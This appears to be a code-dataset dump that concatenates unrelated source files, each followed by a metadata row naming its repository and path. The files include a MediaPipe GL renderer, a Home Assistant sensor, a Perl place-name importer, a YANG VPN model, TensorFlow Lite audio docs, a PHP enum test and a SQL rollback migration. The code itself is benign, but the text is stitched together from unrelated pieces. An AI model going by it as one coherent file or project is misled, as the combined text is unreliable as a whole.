/// The use of this class allows the GPU to access the buffer's memory directly,
/// without a memory copy.
CVOpenGLESTextureCacheRef _textureCache;
/// Internal renderer.
std::unique_ptr<mediapipe::QuadRenderer> renderer_;
/// Used to synchronize access to _nextPixelBufferToRender.
OSSpinLock _bufferLock;
volatile CVPixelBufferRef _nextPixelBufferToRender;
}
- (instancetype)init {
self = [super init];
if (self) {
_glContext = [[EAGLContext alloc] initWithAPI:kEAGLRenderingAPIOpenGLES2];
_bufferLock = OS_SPINLOCK_INIT;
_frameRotationMode = MPPFrameRotationNone;
_frameScaleMode = MPPFrameScaleModeFit;
}
return self;
}
- (void)dealloc {
if (_textureCache) CFRelease(_textureCache);
CVPixelBufferRelease(_nextPixelBufferToRender);
// Fixes crash during dealloc that only happens in iOS 9. More info at b/67095363.
if ([EAGLContext currentContext] == _glContext) {
[EAGLContext setCurrentContext:nil];
}
}
- (CVPixelBufferRef)nextPixelBufferToRender {
OSSpinLockLock(&_bufferLock);
CVPixelBufferRef buffer = _nextPixelBufferToRender;
OSSpinLockUnlock(&_bufferLock);
return buffer;
}
- (void)setNextPixelBufferToRender:(CVPixelBufferRef)buffer {
OSSpinLockLock(&_bufferLock);
if (_nextPixelBufferToRender != buffer) {
CVPixelBufferRelease(_nextPixelBufferToRender);
_nextPixelBufferToRender = buffer;
CVPixelBufferRetain(_nextPixelBufferToRender);
}
OSSpinLockUnlock(&_bufferLock);
}
- (void)setupGL {
CVReturn err;
err = CVOpenGLESTextureCacheCreate(kCFAllocatorDefault, NULL, _glContext, NULL, &_textureCache);
_GTMDevAssert(err == kCVReturnSuccess,
@"CVOpenGLESTextureCacheCreate failed: %d", err);
renderer_ = absl::make_unique<mediapipe::QuadRenderer>();
auto status = renderer_->GlSetup();
_GTMDevAssert(status.ok(),
@"renderer setup failed: %@", [NSError gus_errorWithStatus:status]);
}
mediapipe::FrameScaleMode InternalScaleMode(MPPFrameScaleMode mode) {
switch (mode) {
case MPPFrameScaleModeFit:
return mediapipe::FrameScaleMode::kFit;
case MPPFrameScaleModeFillAndCrop:
return mediapipe::FrameScaleMode::kFillAndCrop;
}
}
mediapipe::FrameRotation InternalRotationMode(MPPFrameRotation rot) {
switch (rot) {
case MPPFrameRotationNone:
return mediapipe::FrameRotation::kNone;
case MPPFrameRotationCw90:
return mediapipe::FrameRotation::k90;
case MPPFrameRotationCw180:
return mediapipe::FrameRotation::k180;
case MPPFrameRotationCw270:
return mediapipe::FrameRotation::k270;
}
}
- (void)drawPixelBuffer:(CVPixelBufferRef)pixelBuffer
width:(GLfloat)viewWidth
height:(GLfloat)viewHeight {
if (!_textureCache) [self setupGL];
size_t frameWidth = CVPixelBufferGetWidth(pixelBuffer);
size_t frameHeight = CVPixelBufferGetHeight(pixelBuffer);
CVOpenGLESTextureRef texture = NULL;
OSType pixelFormat = CVPixelBufferGetPixelFormatType(pixelBuffer);
CVReturn error;
if (pixelFormat == kCVPixelFormatType_OneComponent8) {
error = CVOpenGLESTextureCacheCreateTextureFromImage(
kCFAllocatorDefault, _textureCache, pixelBuffer, NULL,
GL_TEXTURE_2D, GL_LUMINANCE, (GLsizei)frameWidth, (GLsizei)frameHeight,
GL_LUMINANCE, GL_UNSIGNED_BYTE, 0, &texture);
} else if (pixelFormat == kCVPixelFormatType_OneComponent32Float) {
error = CVOpenGLESTextureCacheCreateTextureFromImage(
kCFAllocatorDefault, _textureCache, pixelBuffer, NULL,
GL_TEXTURE_2D, GL_LUMINANCE, (GLsizei)frameWidth, (GLsizei)frameHeight,
GL_LUMINANCE, GL_FLOAT, 0, &texture);
} else {
error = CVOpenGLESTextureCacheCreateTextureFromImage(
kCFAllocatorDefault, _textureCache, pixelBuffer, NULL,
GL_TEXTURE_2D, GL_RGBA, (GLsizei)frameWidth, (GLsizei)frameHeight,
GL_BGRA, GL_UNSIGNED_BYTE, 0, &texture);
}
_GTMDevAssert(error == kCVReturnSuccess,
@"CVOpenGLESTextureCacheCreateTextureFromImage failed: %d", error);
glClear(GL_COLOR_BUFFER_BIT);
glActiveTexture(GL_TEXTURE1);
glBindTexture(CVOpenGLESTextureGetTarget(texture), CVOpenGLESTextureGetName(texture));
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
// Note: we perform a vertical flip by swapping the top and bottom coordinates.
// CVPixelBuffers have a top left origin and OpenGL has a bottom left origin.
auto status = renderer_->GlRender(
frameWidth, frameHeight, viewWidth, viewHeight,
InternalScaleMode(_frameScaleMode),
InternalRotationMode(_frameRotationMode),
_mirrored, /*flip_vertical=*/false, /*flip_texture=*/true);
_GTMDevAssert(status.ok(),
@"render failed: %@", [NSError gus_errorWithStatus:status]);
glBindTexture(CVOpenGLESTextureGetTarget(texture), 0);
glBindTexture(GL_TEXTURE_2D, 0 );
CFRelease(texture);
CVOpenGLESTextureCacheFlush(_textureCache, 0);
}
#pragma mark - GLKViewDelegate
- (void)glkView:(GLKView *)view drawInRect:(CGRect)rect {
CVPixelBufferRef pixelBuffer = NULL;
OSSpinLockLock(&_bufferLock);
pixelBuffer = _nextPixelBufferToRender;
if (_retainsLastPixelBuffer) {
CVPixelBufferRetain(pixelBuffer);
} else {
_nextPixelBufferToRender = NULL;
}
OSSpinLockUnlock(&_bufferLock);
if (!pixelBuffer) return;
[self drawPixelBuffer:pixelBuffer width:view.drawableWidth height:view.drawableHeight];
CVPixelBufferRelease(pixelBuffer);
}
@end
| Objective-C++ | 4 | virdio/mediapipe | mediapipe/objc/MPPGLViewRenderer.mm | [
"Apache-2.0"
] |
"""Support for Velbus sensors."""
from __future__ import annotations
from velbusaio.channels import ButtonCounter, LightSensor, SensorNumber, Temperature
from homeassistant.components.sensor import (
SensorDeviceClass,
SensorEntity,
SensorStateClass,
)
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity_platform import AddEntitiesCallback
from . import VelbusEntity
from .const import DOMAIN
async def async_setup_entry(
hass: HomeAssistant,
entry: ConfigEntry,
async_add_entities: AddEntitiesCallback,
) -> None:
"""Set up Velbus switch based on config_entry."""
await hass.data[DOMAIN][entry.entry_id]["tsk"]
cntrl = hass.data[DOMAIN][entry.entry_id]["cntrl"]
entities = []
for channel in cntrl.get_all("sensor"):
entities.append(VelbusSensor(channel))
if channel.is_counter_channel():
entities.append(VelbusSensor(channel, True))
async_add_entities(entities)
class VelbusSensor(VelbusEntity, SensorEntity):
"""Representation of a sensor."""
_channel: ButtonCounter | Temperature | LightSensor | SensorNumber
def __init__(
self,
channel: ButtonCounter | Temperature | LightSensor | SensorNumber,
counter: bool = False,
) -> None:
"""Initialize a sensor Velbus entity."""
super().__init__(channel)
self._is_counter: bool = counter
# define the unique id
if self._is_counter:
self._attr_unique_id = f"{self._attr_unique_id}-counter"
# define the name
if self._is_counter:
self._attr_name = f"{self._attr_name}-counter"
# define the device class
if self._is_counter:
self._attr_device_class = SensorDeviceClass.ENERGY
elif channel.is_counter_channel():
self._attr_device_class = SensorDeviceClass.POWER
elif channel.is_temperature():
self._attr_device_class = SensorDeviceClass.TEMPERATURE
# define the icon
if self._is_counter:
self._attr_icon = "mdi:counter"
# the state class
if self._is_counter:
self._attr_state_class = SensorStateClass.TOTAL_INCREASING
else:
self._attr_state_class = SensorStateClass.MEASUREMENT
# unit
if self._is_counter:
self._attr_native_unit_of_measurement = channel.get_counter_unit()
else:
self._attr_native_unit_of_measurement = channel.get_unit()
@property
def native_value(self) -> float | int | None:
"""Return the state of the sensor."""
if self._is_counter:
return float(self._channel.get_counter_state())
return float(self._channel.get_state())
| Python | 5 | MrDelik/core | homeassistant/components/velbus/sensor.py | [
"Apache-2.0"
] |
import QtQuick 2.12
import QtQuick.Controls 2.12
import QtWebEngine 1.7
import QtWebChannel 1.0
import QtQuick.Layouts 1.12
import org.kde.kirigami 2.11 as Kirigami
Rectangle {
property bool isRequested: false
property alias source: interactionLoader.source
property alias interactionItem: interactionLoader.item
visible: isRequested
enabled: isRequested
width: parent.width
height: isRequested ? Kirigami.Units.gridUnit * 6 : 0
color: Kirigami.Theme.backgroundColor
function setSource(interactionSource){
interactionLoader.setSource(interactionSource)
}
Keys.onEscapePressed: {
isRequested = false;
}
Keys.onBackPressed: {
isRequested = false;
}
Loader {
id: interactionLoader
anchors.fill: parent
}
}
| QML | 4 | PureTryOut/mycroft-core | mycroft/res/ui/RequestHandler.qml | [
"Apache-2.0"
] |
const FunctionComponent2Input = () => <div>Anonymous function</div>;
export default FunctionComponent2Input;
| JavaScript | 3 | blomqma/next.js | packages/next-codemod/transforms/__testfixtures__/name-default-component/function-component-2.output.js | [
"MIT"
] |
use Datascope;
#require "flush.pl";
if ( @ARGV < 2 || @ARGV > 3 ) {
die ("USAGE: $0 file database [State]\n");
} else {
$file = $ARGV[0];
$database = $ARGV[1];
if( defined( $ARGV[2] ) ) {
$fix_state = $ARGV[2];
}
}
if (!-e $file) {
print STDERR "File to convert, $file, does not exist!\n";
exit(1);
}
@db = dbopen ( $database, "r+" );
print STDERR "opened database: $database \n";
@db_place = dblookup(@db, "", "places" , "" , "");
if( $db_place[1] < 0 ) {
die( "Couldn't lookup $database.places. " .
"Schema wrong or not specified??\n" );
}
open (FILE, "< $file") || die "Can't open $file for reading: $! \n";
while(<FILE>) {
$unchanged_line = $_;
$_ =~ s/^[\'\"]//;
#split each line using a quote-comma-quote as the delimiter
if( defined( $fix_state ) ) {
$state = $fix_state;
($fname, $ftype, $county, $county_id, $state_id, $lat_dms,
$lon_dms, $lat, $lon, $slat1, $slon1, $slat2, $slon2,
$elev, $pop, $cell) = split(/[\'\"],[\'\"]/,$_);
} else {
($state, $fname, $ftype, $county, $county_id, $state_id,
$lat_dms, $lon_dms, $lat, $lon, $slat1, $slon1, $slat2,
$slon2, $elev, $pop, $cell) = split(/[\'\"],[\'\"]/,$_);
}
if( defined( $elev ) && $elev ne "" ) {
# convert elev from feet to km
$elev = $elev*0.0003048;
} else {
$elev = -999;
}
# GNIS files have a few repetitions, at least measured
# according to the primary keys of lat, lon, place. Catch them
$result = eval { dbaddv( @db_place,
"lat", $lat,
"lon", $lon,
"elev", $elev,
"place", $fname,
"placetype", $ftype,
"county", $county,
"state", $state );
};
if( $@ ne "" ) {
print STDERR
"$@\ngnis2db: Rejecting duplicate line\n$unchanged_line\n";
}
}
dbclose( @db );
close( FILE );
| XProc | 4 | jreyes1108/antelope_contrib | bin/import/gnis2db/gnis2db.xpl | [
"BSD-2-Clause",
"MIT"
] |
<%= t('.foo') do |translation| %>
<%= translation %>
<% end %>
| HTML+ERB | 2 | zvkemp/rails | actionview/test/fixtures/translations/templates/found_yield_single_argument.html.erb | [
"MIT"
] |
--TEST--
Enum can use traits
--FILE--
<?php
trait Rectangle {
public function shape(): string {
return "Rectangle";
}
}
enum Suit {
use Rectangle;
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
echo Suit::Hearts->shape() . PHP_EOL;
echo Suit::Diamonds->shape() . PHP_EOL;
echo Suit::Clubs->shape() . PHP_EOL;
echo Suit::Spades->shape() . PHP_EOL;
?>
--EXPECT--
Rectangle
Rectangle
Rectangle
Rectangle
| PHP | 4 | NathanFreeman/php-src | Zend/tests/enum/traits.phpt | [
"PHP-3.01"
] |
module l3vpn-svc-ext {
yang-version 1;
namespace "urn:ietf:params:xml:ns:yang:l3vpn:svc:ext";
prefix "l3vpn-svc-ext";
import ietf-inet-types { prefix inet; }
import ietf-l3vpn-svc { prefix l3vpn; }
revision 2016-07-30 {
description
"Eliminated warnings";
}
revision "2016-07-20" {
description "Initial revision of extended l3vpn yang model";
}
typedef short-as-number {
type inet:as-number {
range 0..65535;
}
}
typedef route-distinguisher {
reference "https://tools.ietf.org/html/rfc4364#section-4.2";
type union {
type rd-ipv4;
type rd-as;
type rd-as2;
}
}
typedef rd-ipv4 {
type string {
/* IPv4 : 2B number */
pattern '((([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.){3}'
+ '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5]))'
+ ':'
+ '([0-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|'
+ '[1-5][0-9][0-9][0-9][0-9]|6[0-4][0-9][0-9][0-9]|'
+ '65[0-4][0-9][0-9]|655[0-2][0-9]|6553[0-5])';
}
}
typedef rd-as {
type string {
/* 2B AS : 4B number */
pattern '([0-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|'
+ '[1-5][0-9][0-9][0-9][0-9]|6[0-4][0-9][0-9][0-9]|'
+ '65[0-4][0-9][0-9]|655[0-2][0-9]|6553[0-5])'
+ ':'
+ '([0-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|[1-3][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '4[0-1][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|42[0-8][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '429[0-3][0-9][0-9][0-9][0-9][0-9][0-9]|4294[0-8][0-9][0-9][0-9][0-9][0-9]|'
+ '42949[0-5][0-9][0-9][0-9][0-9]|429496[0-6][0-9][0-9][0-9]|4294967[0-1][0-9][0-9]|'
+ '42949672[0-8][0-9]|429496729[0-5])';
}
}
typedef rd-as2 {
type string {
/* 4B AS : 2B number */
pattern '([0-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '[1-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|[1-3][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '4[0-1][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|42[0-8][0-9][0-9][0-9][0-9][0-9][0-9][0-9]|'
+ '429[0-3][0-9][0-9][0-9][0-9][0-9][0-9]|4294[0-8][0-9][0-9][0-9][0-9][0-9]|'
+ '42949[0-5][0-9][0-9][0-9][0-9]|429496[0-6][0-9][0-9][0-9]|4294967[0-1][0-9][0-9]|'
+ '42949672[0-8][0-9]|429496729[0-5])'
+ ':'
+ '([0-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|'
+ '[1-5][0-9][0-9][0-9][0-9]|6[0-4][0-9][0-9][0-9]|'
+ '65[0-4][0-9][0-9]|655[0-2][0-9]|6553[0-5])';
}
}
identity tc-demanded-tunnel {
base l3vpn:transport-constraint;
description "on-demand tunnel.";
}
grouping class-profile {
list qos-class {
key class-id;
leaf class-id {
type string;
description
"Identification of the
class of service.
This identifier is internal to
the administration.";
}
leaf rate-limit {
type uint8;
units percent;
description
"To be used if class must
be rate
limited. Expressed as
percentage of the svc-bw.";
}
leaf priority-level {
type uint8;
description
"Defines the level of the
class in
term of priority queueing.
The higher the level is the
higher
is the priority.";
}
leaf guaranteed-bw-percent {
type uint8;
units percent;
description
"To be used to define the
guaranteed
BW in percent of the svc-bw
available at the priority-level.";
}
description
"List of class of services.";
}
}
augment "/l3vpn:l3vpn-svc/l3vpn:sites/l3vpn:site/l3vpn:site-network-accesses/l3vpn:site-network-access/l3vpn:service/l3vpn:qos/l3vpn:qos-profile/l3vpn:qos-profile" {
case custom-unicom {
container inbound-classes {
uses class-profile;
}
container outbound-classes {
uses class-profile;
}
}
}
grouping bearer-attachment-grouping {
container bearer-attachment {
leaf pe-name {
type string;
}
leaf pe-mgmt-ip {
type inet:ipv4-address;
}
description "attached PE";
}
}
augment "/l3vpn:l3vpn-svc/l3vpn:sites/l3vpn:site/l3vpn:site-network-accesses/l3vpn:site-network-access/l3vpn:bearer" {
uses bearer-attachment-grouping;
}
grouping requested-type-grouping {
container requested-type-profile {
choice requested-type-choice {
case dot1q-case {
container dot1q {
leaf physical-if {
description "physical interface name.";
type string;
}
leaf vlan-id {
type uint16 {
range "1..4096";
}
}
}
}
case physical-case {
container physical {
leaf physical-if {
description "physical interface name.";
type string;
}
}
}
}
leaf circuit-id {
description "circuit description for PE-CE port.";
type string;
}
}
}
augment "/l3vpn:l3vpn-svc/l3vpn:sites/l3vpn:site/l3vpn:site-network-accesses/l3vpn:site-network-access/l3vpn:bearer/l3vpn:requested-type" {
uses requested-type-grouping;
}
grouping bfd-grouping {
leaf bfd-enabled {
type boolean;
description
"BFD activation";
}
choice holdtime {
case profile {
leaf profile-name {
type string;
description
"Service provider well
known profile.";
}
description
"Service provider well
known profile.";
}
case fixed {
leaf fixed-value {
type uint32;
units msec;
description
"Expected holdtime
expressed
in msec.";
}
}
case dynamic {
container dynamic-value {
leaf interval {
type uint16;
units msec;
default 500;
}
leaf multiplier {
type uint16;
default 3;
}
description
"interval * multiplier is
timeout value.";
}
}
}
}
grouping bgp-profile {
leaf as-override {
type boolean;
default false;
}
container soo {
leaf soo-enabled {
type boolean;
}
leaf soo-value {
type string;
}
}
container password {
leaf password-enabled {
type boolean;
}
leaf password-value {
type string;
}
}
container bgp-timer {
leaf keep-alive {
type uint16;
default 60;
units "seconds";
}
leaf hold-time {
type uint16;
default 180;
units "seconds";
}
}
container bfd {
uses bfd-grouping;
}
}
augment "/l3vpn:l3vpn-svc/l3vpn:sites/l3vpn:site/l3vpn:site-network-accesses/l3vpn:site-network-access/l3vpn:routing-protocols/l3vpn:routing-protocol/l3vpn:bgp" {
uses bgp-profile;
}
augment "/l3vpn:l3vpn-svc/l3vpn:vpn-services/l3vpn:vpn-svc/l3vpn:transport-constraints/l3vpn:unicast-transport-constraints/l3vpn:constraint/l3vpn:constraint-list" {
leaf constraint-opaque-value2 {
type string;
description
"Opaque value that can be used to
specify constraint parameters.";
}
}
grouping route-ipv4-extended-community {
reference "http://tools.ietf.org/html/rfc4360";
leaf global-administrator {
type inet:ipv4-address;
}
leaf local-administrator {
type uint16;
}
}
grouping extended-community {
choice extended-community {
reference "http://tools.ietf.org/html/rfc4360#section-4";
default route-target-extended-community-case;
case route-target-extended-community-case {
container route-target-extended-community {
leaf global-administrator {
type short-as-number;
}
leaf local-administrator {
type uint32;
}
}
}
case route-target-ipv4-case {
container route-target-ipv4 {
uses route-ipv4-extended-community;
}
}
case route-target-extended-community-case2 {
container route-target-extended-community2 {
leaf global-administrator {
type uint32;
}
leaf local-administrator {
type uint16;
}
}
}
}
}
grouping rdrt-profile {
choice site-role {
case custom-case {
container custom {
list import-rt {
key imrt-id;
leaf imrt-id {
type string;
}
uses extended-community;
}
list export-rt {
key exrt-id;
leaf exrt-id {
type string;
}
uses extended-community;
}
leaf rd {
type route-distinguisher;
}
}
}
}
}
augment "/l3vpn:l3vpn-svc/l3vpn:sites/l3vpn:site/l3vpn:site-network-accesses/l3vpn:site-network-access/l3vpn:vpn-attachment" {
uses rdrt-profile;
}
} | YANG | 5 | ariscahyadi/onos-1.14-with-indopronos-app | tools/test/configs/yang/[email protected] | [
"Apache-2.0"
] |
# Audio classification
<img src="../images/audio.png" class="attempt-right">
The task of identifying what an audio represents is called _audio
classification_. An audio classification model is trained to recognize various
audio events. For example, you may train a model to recognize events
representing three different events: clapping, finger snapping, and typing.
TensorFlow Lite provides optimized pre-trained models that you can deploy in
your mobile applications. Learn more about audio classification using TensorFlow
[here](https://www.tensorflow.org/tutorials/audio/simple_audio).
The following image shows the output of the audio classification model on
Android.
<img src="images/android_audio_classification.png" alt="Screenshot of Android example" width="30%">
Note: (1) To integrate an existing model, try
[TensorFlow Lite Task Library](https://www.tensorflow.org/lite/inference_with_metadata/task_library/audio_classifier).
(2) To customize a model, try
[TensorFlow Lite Model Maker](https://www.tensorflow.org/lite/tutorials/model_maker_audio_classification).
## Get started
If you are new to TensorFlow Lite and are working with Android, we recommend
exploring the following example applications that can help you get started.
You can leverage the out-of-box API from
[TensorFlow Lite Task Library](../../inference_with_metadata/task_library/audio_classifier)
to integrate audio classification models in just a few lines of code. You can
also build your own custom inference pipeline using the
[TensorFlow Lite Support Library](../../inference_with_metadata/lite_support).
The Android example below demonstrates the implementation using the
[TFLite Task Library](https://github.com/tensorflow/examples/tree/master/lite/examples/sound_classification/android)
<a class="button button-primary" href="https://github.com/tensorflow/examples/tree/master/lite/examples/sound_classification/android">View
Android example</a>
<a class="button button-primary" href="https://github.com/tensorflow/examples/tree/master/lite/examples/sound_classification/ios">View
iOS example</a>
If you are using a platform other than Android/iOS, or if you are already
familiar with the
[TensorFlow Lite APIs](https://www.tensorflow.org/api_docs/python/tf/lite),
download the starter model and supporting files (if applicable).
<a class="button button-primary" href="https://tfhub.dev/google/lite-model/yamnet/classification/tflite/1?lite-format=tflite">Download
starter model from TensorFlow Hub</a>
## Model description
YAMNet is an audio event classifier that takes audio waveform as input and makes
independent predictions for each of 521 audio events from the
[AudioSet](https://g.co/audioset) ontology. The model uses the MobileNet v1
architecture and was trained using the AudioSet corpus. This model was
originally released in the TensorFlow Model Garden, where is the model source
code, the original model checkpoint, and more detailed documentation.
### How it works
There are two versions of the YAMNet model converted to TFLite:
* [YAMNet](https://tfhub.dev/google/yamnet/1) Is the original audio
classification model, with dynamic input size, suitable for Transfer
Learning, Web and Mobile deployment. It also has a more complex output.
* [YAMNet/classification](https://tfhub.dev/google/lite-model/yamnet/classification/tflite/1)
is a quantized version with a simpler fixed lengh frame input (15600
samples) and return a single vector of scores for 521 audio event classes.
### Inputs
The model accepts a 1-D `float32` Tensor or NumPy array of length 15600
containing a 0.975 second waveform represented as mono 16 kHz samples in the
range `[-1.0, +1.0]`.
### Outputs
The model returns a 2-D `float32` Tensor of shape (1, 521) containing the
predicted scores for each of the 521 classes in the AudioSet ontology that are
supported by YAMNet. The column index (0-520) of the scores tensor is mapped to
the corresponding AudioSet class name using the YAMNet Class Map, which is
available as an associated file `yamnet_label_list.txt` packed into the model
file. See below for usage.
### Suitable uses
YAMNet can be used
* as a stand-alone audio event classifier that provides a reasonable baseline
across a wide variety of audio events.
* as a high-level feature extractor: the 1024-D embedding output of YAMNet can
be used as the input features of another model which can then be trained on
a small amount of data for a particular task. This allows quickly creating
specialized audio classifiers without requiring a lot of labeled data and
without having to train a large model end-to-end.
* as a warm start: the YAMNet model parameters can be used to initialize part
of a larger model which allows faster fine-tuning and model exploration.
### Limitations
* YAMNet's classifier outputs have not been calibrated across classes, so you
cannot directly treat the outputs as probabilities. For any given task, you
will very likely need to perform a calibration with task-specific data which
lets you assign proper per-class score thresholds and scaling.
* YAMNet has been trained on millions of YouTube videos and although these are
very diverse, there can still be a domain mismatch between the average
YouTube video and the audio inputs expected for any given task. You should
expect to do some amount of fine-tuning and calibration to make YAMNet
usable in any system that you build.
## Model customization
The pre-trained models provided are trained to detect 521 different audio
classes. For a full list of classes, see the labels file in the
<a href="https://github.com/tensorflow/models/blob/master/research/audioset/yamnet/yamnet_class_map.csv">model
repository</a>.
You can use a technique known as transfer learning to re-train a model to
recognize classes not in the original set. For example, you could re-train the
model to detect multiple bird songs. To do this, you will need a set of training
audios for each of the new labels you wish to train. The recommended way is to
use
[TensorFlow Lite Model Maker](https://www.tensorflow.org/lite/tutorials/model_maker_audio_classification)
library which simplifies the process of training a TensorFlow Lite model using
custom dataset, in a few lines of codes. It uses transfer learning to reduce the
amount of required training data and time. You can also learn from
[Transfer learning for audio recognition](https://www.tensorflow.org/tutorials/audio/transfer_learning_audio)
as an example of transfer learning.
## Further reading and resources
Use the following resources to learn more about concepts related to audio
classification:
* [Audio classification using TensorFlow](https://www.tensorflow.org/tutorials/audio/simple_audio)
* [Transfer learning for audio recognition](https://www.tensorflow.org/tutorials/audio/transfer_learning_audio)
* [Audio data augmentation](https://www.tensorflow.org/io/tutorials/audio)
| Markdown | 4 | EricRemmerswaal/tensorflow | tensorflow/lite/g3doc/examples/audio_classification/overview.md | [
"Apache-2.0"
] |
import { imageDemoTest } from '../../../tests/shared/imageTest';
describe('Grid image', () => {
imageDemoTest('grid');
});
| TypeScript | 3 | chnliquan/ant-design | components/grid/__tests__/image.test.ts | [
"MIT"
] |
package flash.ui;
extern class GameInputControl extends flash.events.EventDispatcher implements Dynamic {
@:flash.property var device(get,never) : GameInputDevice;
@:flash.property var id(get,never) : String;
@:flash.property var maxValue(get,never) : Float;
@:flash.property var minValue(get,never) : Float;
@:flash.property var value(get,never) : Float;
function new() : Void;
private function get_device() : GameInputDevice;
private function get_id() : String;
private function get_maxValue() : Float;
private function get_minValue() : Float;
private function get_value() : Float;
}
| Haxe | 3 | Alan-love/haxe | std/flash/ui/GameInputControl.hx | [
"MIT"
] |
DROP TABLE "public"."table18";
| SQL | 1 | eazyfin/graphql-engine | cli/commands/testdata/migrate-squash-test/migrations/1588172669023_create_table_public_table18/down.sql | [
"Apache-2.0",
"MIT"
] |